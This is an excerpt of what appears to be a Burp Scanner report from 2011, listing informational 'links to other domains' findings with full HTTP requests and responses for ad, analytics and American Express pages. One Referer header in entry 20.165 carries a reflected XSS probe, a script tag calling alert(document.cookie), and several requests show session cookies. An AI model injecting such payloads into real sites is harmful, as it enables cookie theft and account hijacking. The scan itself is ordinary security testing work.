http://feeds.feedburner.com/ISNOpenSource
http://www.intc.com/index.cfm?iid=ftr+invrel

Request

GET /sites/oss/?cid\u003dsw:vibrantcustomlogoq1 HTTP/1.1
Host: software.intel.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Language: en-us
X-Pingback: http://software.intel.com/en-us/services/comment/pingback/
Date: Sat, 05 Feb 2011 21:52:35 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: PHPSESSID=ba5b86eb1a30b1f33713723384df2d3d; path=/; domain=intel.com
Set-Cookie: loginpt=0
Content-Length: 41083

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-us" xmlns="http://www.w3.org/1999/xhtml">
<head profile="http:
...[SNIP]...
</a><a href="http://feeds.feedburner.com/ISNOpenSource"><img src="OSS_files/_global/icon/feed.gif" alt="RSS" width="24" height="19" border="0" />
...[SNIP]...
<li><a href="http://www.intc.com/index.cfm?iid=ftr+invrel">Investor Relations</a>
...[SNIP]...

20.164. http://spongecell.com/api/widgets/clickthrough/263365 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://spongecell.com
Path:	/api/widgets/clickthrough/263365

Issue detail

The page was loaded from a URL containing a query string:

http://spongecell.com/api/widgets/clickthrough/263365?noflash=true&noscript=true&placement_id=SPONGECELL_PLACEMENT_ID\

The response contains the following link to another domain:

http://www.officedepot.com/?cm_mmc=Retail-_-Q1ITP2011+OwnerIQ-_-OwnerIQOwnerandIntenderGroup300x250-_-300x250

Request

GET /api/widgets/clickthrough/263365?noflash=true&noscript=true&placement_id=SPONGECELL_PLACEMENT_ID\ HTTP/1.1
Host: spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

20.165. http://statistics.wibiya.com/SetToolbarLoad.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://statistics.wibiya.com
Path:	/SetToolbarLoad.php

Issue detail

The page was loaded from a URL containing a query string:

http://statistics.wibiya.com/SetToolbarLoad.php?toolbarId=3508&referer=http://burp/show/34

The response contains the following link to another domain:

http://edge.quantserve.com/quant.js

Request

GET /SetToolbarLoad.php?toolbarId=3508&referer=http://burp/show/34 HTTP/1.1
Host: statistics.wibiya.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1286380163-1295459907704

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:08:08 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny6 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny6
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 165

<script type="text/javascript">
_qoptions={qacct:"p-f1g4ElEQKd68M"};
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>

20.166. http://tbe.taleo.net/NA7/ats/careers/jobSearch.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tbe.taleo.net
Path:	/NA7/ats/careers/jobSearch.jsp

Issue detail

The page was loaded from a URL containing a query string:

http://tbe.taleo.net/NA7/ats/careers/jobSearch.jsp?org=VIBRANT&cws=1

The response contains the following link to another domain:

https://ssl.google-analytics.com/ga.js

Request

GET /NA7/ats/careers/jobSearch.jsp?org=VIBRANT&cws=1 HTTP/1.1
Host: tbe.taleo.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:21 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Set-Cookie: JSESSIONID=C945AA07FE83ACD62665BD99018DE6A5.NA7_primary_jvm; Path=/NA7/ats
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 10486

<HTML><HEAD>
<STYLE type="text/css">
#taleoContent {
padding: 0px;
margin: 0px;
margin-top: 15px;
border: none;
font-family:
...[SNIP]...
</table>

<script src='https://ssl.google-analytics.com/ga.js' type='text/javascript'>
</script>
...[SNIP]...

20.167. http://redacted/MRT/iview/264255445/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://redacted
Path:	/MRT/iview/264255445/direct

Issue detail

The page was loaded from a URL containing a query string:

http://redacted/MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D

The response contains the following links to other domains:

http://adclick.g.doubleclick.net/aclk?sa=L&ai=BcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ&num=1&sig=AGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA&client=ca-pub-7786708287155161&adurl=http:/clk.redcated/go/264255445/direct;wi.300;hi.250;ai.185637072;ct.1/01
http://ar.voicefive.com/bmx3/broker.pli?pid=p68511049&PRAd=264255445&AR_C=185637072

Request

GET /MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D HTTP/1.1
Host: redacted
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AA002=1294100002-3786607; MUID=DC63BAA44C3843F38378B4BB213E0A6F

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 8530
Content-Type: text/html
Expires: 0
Connection: close
Date: Sun, 06 Feb 2011 13:39:59 GMT

<html><head><title>DYN_Launch_Adoption_300x250_v2</title>
<meta HTTP-EQUIV="expires" CONTENT="0"></meta>
<meta HTTP-EQUIV="Pragma" CONTENT="no-cache"></meta>
</head><body style="border-width:0px;ma
...[SNIP]...
<noscript>
<a target="_blank" href="http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3Dhttp://clk.redcated/go/264255445/direct;wi.300;hi.250;ai.185637072;ct.1/01"><img border="0" src="HTTP://spe.redcated/ds/NMMRTUMISAUB/Dynamics_GA_Digital_Q2/DYN_Launch_Adoption_300x250_v2.jpg?ver=1" width="300" height="250" />
...[SNIP]...
</noscript>
<script src="http://ar.voicefive.com/bmx3/broker.pli?pid=p68511049&PRAd=264255445&AR_C=185637072"></script>
...[SNIP]...

20.168. http://redacted/MRT/iview/264255445/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://redacted
Path:	/MRT/iview/264255445/direct

Issue detail

The page was loaded from a URL containing a query string:

http://redacted/MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D

The response contains the following links to other domains:

http://adclick.g.doubleclick.net/aclk?sa=L&ai=BcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ&num=1&sig=AGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA&client=ca-pub-7786708287155161&adurl=http:/clk.redcated/go/264255445/direct;wi.300;hi.250;ai.185637168;ct.1/01
http://ar.voicefive.com/bmx3/broker.pli?pid=p68511049&PRAd=264255445&AR_C=185637168

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 8550
Content-Type: text/html
Expires: 0
Connection: close
Date: Sun, 06 Feb 2011 13:39:59 GMT

<html><head><title>DYN_Launch_RealTimeData_300x250_v2</title>
<meta HTTP-EQUIV="expires" CONTENT="0"></meta>
<meta HTTP-EQUIV="Pragma" CONTENT="no-cache"></meta>
</head><body style="border-width:0p
...[SNIP]...
<noscript>
<a target="_blank" href="http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3Dhttp://clk.redcated/go/264255445/direct;wi.300;hi.250;ai.185637168;ct.1/01"><img border="0" src="HTTP://spe.redcated/ds/NMMRTUMISAUB/Dynamics_GA_Digital_Q2/DYN_Launch_RealTimeData_300x250_v2.jpg?ver=1" width="300" height="250" />
...[SNIP]...
</noscript>
<script src="http://ar.voicefive.com/bmx3/broker.pli?pid=p68511049&PRAd=264255445&AR_C=185637168"></script>
...[SNIP]...

20.169. http://redacted/MRT/jview/267859374/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://redacted
Path:	/MRT/jview/267859374/direct

Issue detail

The page was loaded from a URL containing a query string:

http://redacted/MRT/jview/267859374/direct;wi.300;hi.250/01/7640774?click=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa6/3/0/%2a/t%3B231700174%3B0-0%3B0%3B23542470%3B4252-336/280%3B39089015/39106772/1%3Bu%3Dzdtopic%3Ditmanagement|zdtopic%3Denterprise|zdtopic%3Dintelligence|zdid%3Da6280|zdtype%3Darticle|zdaudience%3D|zdproduct%3D|zdcompany%3D|zdpagetype%3D%3B%7Eaopt%3D6/0/ff/0%3B%7Esscs%3D%3f

The response contains the following links to other domains:

http://d.mediabrandsww.com/r/dd/id/L21rdC8zL2NpZC8xNzk2NjkwL3QvMg/cat/267859374-193167493/qry/
http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
http://edge.quantserve.com/quant.js
http://metrixlablw.customers.luna.net/p10833/tagger_v03.php?project=p10833&tag=1a&channel=[sid=267859374|cid=193167493|]
http://pixel.quantserve.com/pixel/p-05UkLz1BAcAUk.gif?media=ad&labels=_imp.adserver.atlas,_imp.publisher.267859374,_imp.creative.193167493
http://www.googleadservices.com/pagead/conversion.js
http://www.googleadservices.com/pagead/conversion/1007595065/?label=E0cGCL_qhQIQudy64AM&guid=ON&script=0

Request

GET /MRT/jview/267859374/direct;wi.300;hi.250/01/7640774?click=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa6/3/0/%2a/t%3B231700174%3B0-0%3B0%3B23542470%3B4252-336/280%3B39089015/39106772/1%3Bu%3Dzdtopic%3Ditmanagement|zdtopic%3Denterprise|zdtopic%3Dintelligence|zdid%3Da6280|zdtype%3Darticle|zdaudience%3D|zdproduct%3D|zdcompany%3D|zdpagetype%3D%3B%7Eaopt%3D6/0/ff/0%3B%7Esscs%3D%3f HTTP/1.1
Host: redacted
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AA002=1294100002-3786607; MUID=DC63BAA44C3843F38378B4BB213E0A6F

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 8609
Content-Type: text/javascript
Expires: 0
Connection: close
Date: Sun, 06 Feb 2011 13:22:28 GMT

document.write("<meta HTTP-EQUIV='expires' CONTENT='0'></meta>");
document.write("<meta HTTP-EQUIV='Pragma' CONTENT='no-cache'></meta>");

var nRequiredVersion = 8;
var bIsRightVersion = fal
...[SNIP]...

if(bIsRightVersion)
{
var strFQDN = "HTTP://spe.redcated/ds/NMMRTUMISITP/";
var index = strFQDN.indexOf("/ds/");
strFQDN = strFQDN.substring(0, index);
_strContentITP1291065307192 = '' + '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="HTTP://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" id="idSWFITP1291065307192" width="300" height="250">'
+ '<param name="movie" value="HTTP://spe.atdmt.com/ds/NMMRTUMISITP/FY11_Cloud_Scenario/CLD_W1DISWSSFAW_FxCDP_G_300x250_V1R1.swf?ver=1&clickTag1=!~!click!~!http://clk.redcated/go/267859374/direct;wi
...[SNIP]...
</a>';
}

document.write(_strContentITP1291065307192);

document.write ('<script src="http://metrixlablw.customers.luna.net/p10833/tagger_v03.php?project=p10833&tag=1a&channel=[sid=267859374|cid=193167493|]"></script>');
document.write ('<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
<div style="display:inline;"><img height="1" width="1" style="border-style:none;" alt="" src="http://www.googleadservices.com/pagead/conversion/1007595065/?label=E0cGCL_qhQIQudy64AM&guid=ON&script=0"/></div>
...[SNIP]...
</script>');
document.write ('<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...
<noscript>');
document.write ('<img src="http://pixel.quantserve.com/pixel/p-05UkLz1BAcAUk.gif?media=ad&labels=_imp.adserver.atlas,_imp.publisher.267859374,_imp.creative.193167493" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>');
document.write ('</noscript>
...[SNIP]...
');

document.write ('<img height="1" width="1" src="http://d.mediabrandsww.com/r/dd/id/L21rdC8zL2NpZC8xNzk2NjkwL3QvMg/cat/267859374-193167493/qry/">');

20.170. http://whitepixel.com/backend/remote/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://whitepixel.com
Path:	/backend/remote/

Issue detail

The page was loaded from a URL containing a query string:

http://whitepixel.com/backend/remote/?wp_id=45c9063cc70f40e015c6345e8603ec48

The response contains the following link to another domain:

http://nsn.stabletransit.com/unavailable-dfw2.png

Request

GET /backend/remote/?wp_id=45c9063cc70f40e015c6345e8603ec48 HTTP/1.1
Host: whitepixel.com
Proxy-Connection: keep-alive
Referer: http://tipd.com/register
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X-Mapping-jhaghgkk=F507ED0203A6AE3C242BBD49544E61E2

Response

HTTP/1.1 500 Internal Server Error
Date: Sun, 06 Feb 2011 17:13:21 GMT
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>

...[SNIP]...
<div id="centerImage">
<img id="image" src="http://nsn.stabletransit.com/unavailable-dfw2.png" alt="Unavailable" />
</div>
...[SNIP]...

20.171. https://www.aeprepaid.com/index.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.aeprepaid.com
Path:	/index.cfm

Issue detail

The page was loaded from a URL containing a query string:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal

The response contains the following links to other domains:

https://americanexpress-businesslogo.itsmyca.com/
https://home.americanexpress.com/home/global_splash.html?us_nu=helpnav
https://rewards.americanexpress.com/myca/loyalty/us/rewards/redirect/secureredirect?request_type=authreg_mr&Face=en_US&target=https://www.membershiprewards.com/myca/Process.aspx&intlink=Mrtopglobalnav
https://secure.americanexpress.com/navigation/shared/nav/USOpt_Nav_timeout.js
https://secure.americanexpress.com/navigation/shared/nav/iNav_fatfooter.css
https://secure.americanexpress.com/navigation/shared/nav/images/clear.gif
https://secure.americanexpress.com/navigation/shared/nav/images/iNavUSOPT_sprite.gif
https://secure.americanexpress.com/navigation/shared/nav/opt_nav_menu_styles_div.css
https://www.americanexpress.com/affiliate?source=footer_affiliates
https://www.americanexpress.com/airlines-credit-card/?source=footer_airline_credit_cards
https://www.americanexpress.com/cards
https://www.americanexpress.com/credit-card-rewards/?source=footer_credit_card_rewards
https://www.americanexpress.com/gift/giftcardslanding.shtml
https://www.americanexpress.com/gift/giftcardslanding.shtml?source=footer_gift cards
https://www.americanexpress.com/gold-card/?source=footer_gold_card
https://www.americanexpress.com/merchant
https://www.americanexpress.com/no-annual-fee-credit-cards/?source=footer_noannual_credit_cards
https://www134.americanexpress.com/consumertravel/travel.do?source=footer_booktravel
https://www152.americanexpress.com/premium/credit-card-travel-insurance/home.do?source=footer_prem_services
https://www201.americanexpress.com/MobileWeb/index.jsp?source=footer_mobile
https://www209.americanexpress.com/merchant/marketing-data/secure/home
https://www212.americanexpress.com/dsmlive/dsm/OnlineSelf-Services/ConsumerLanding.do?vgnextoid=7512db7ad9220210VgnVCM100000defaad94RCRD&source=footer_resources_for_cardmembers
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do?vgnextoid=2621c0f7c5a4c110VgnVCM100000defaad94RCRD&vgnextchannel=9ee6d6954360c110VgnVCM100000defaad94RCRD&appinstancename=default&source=footer_fraud_protection_center
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/amexgiftcard_cardholderagreement.do?vgnextoid=2d49e6e93492a110VgnVCM200000d0faad94RCRD&vgnextchannel=95ddb81e8482a110VgnVCM100000defaad94RCRD
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/recipientpage.do?vgnextoid=d8a9f8025c1e4210VgnVCM200000d0faad94RCRD&intlink=GC:HmPg:RP
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/statelicensing1.do?vgnextoid=494ec2602565b110VgnVCM100000defaad94RCRD&vgnextchannel=95ddb81e8482a110VgnVCM100000defaad94RCRD&appinstancename=default
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/targettc.do?vgnextoid=ae82c492e72f1210VgnVCM100000defaad94RCRD&vgnextchannel=95ddb81e8482a110VgnVCM100000defaad94RCRD&appInstanceName=default
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/viewallgiftcards.do?vgnextoid=cc2b19519bec4210VgnVCM100000defaad94RCRD
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do?vgnextoid=f25533fadb4ca110VgnVCM100000defaad94RCRD&vgnextchannel=9823f30b6b1ca110VgnVCM100000defaad94RCRD&us_nu=footer&source=footer_privacy_statement
https://www212.americanexpress.com/dsmlive/dsm/int/contactus/personalcards.do?vgnextoid=c3d6c697b3bdc110VgnVCM100000defaad94RCRD&page=1
https://www212.americanexpress.com/dsmlive/dsm/int/contactus/personalcards.do?vgnextoid=c3d6c697b3bdc110VgnVCM100000defaad94RCRD&page=1&source=footer_contact_us
https://www212.americanexpress.com/dsmlive/dsm/int/us/en/cmaproductspage.do?vgnextoid=bbf185df62df5210VgnVCM100000defaad94RCRD&source=footer_card_agreements
https://www213.americanexpress.com/PowerLabsWeb/un/landingpage.htm?source=footer_AmexLabs
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACCUST&selleracctnbr=US001-108883
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=B1
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=I7
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=I8
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IA
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IK
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IL
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IM
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IN
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IO
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IP
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IQ
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=I1
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=I2
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=I4
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=I7
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=I8
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=IA
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=ID
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=IF
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=IH
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=IK
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACTPER&selleracctnbr=US001-108883
https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderShipping&promotion=AG01&program=AGCWEB&selleracctnbr=US001-5858&producttypecd=AG
https://www99.americanexpress.com/myca/acctsumm/us/action?request_type=authreg_acctAccountSummary&us_nu=logincontrol

Request

GET /index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal HTTP/1.1
Host: www.aeprepaid.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 21:53:59 GMT
Server: Microsoft-IIS/6.0
Pragma: no-cache
Expires: Sat, 05 Feb 14:53:59
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
cache-control: no-cache, no-store, must-revalidate

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html lang="en">
<head>

<title>American Express Gift Cards: Check Your Balance & Transaction History - Know Your Balance</
...[SNIP]...
<link rel="stylesheet" href="https://secure.americanexpress.com/navigation/shared/nav/opt_nav_menu_styles_div.css" type="text/css" media="all">
<table border="0" cellspacing="0" cellpadding="0" id="iNav_Header">
...[SNIP]...
<a class="iNav_USOpt_LogoLink" id="iNav_USOpt_LogoLink_Id" alt="American Express Home" title="American Express Home" href="http://home.americanexpress.com/home/mt_personal.shtml"><img title="American Express Home" alt="American Express Home" id="iNav_USOpt_Logo_BlueBox_Id" class="iNav_USOpt_Logo_BlueBox" src="https://secure.americanexpress.com/navigation/shared/nav/images/iNavUSOPT_sprite.gif"></a>
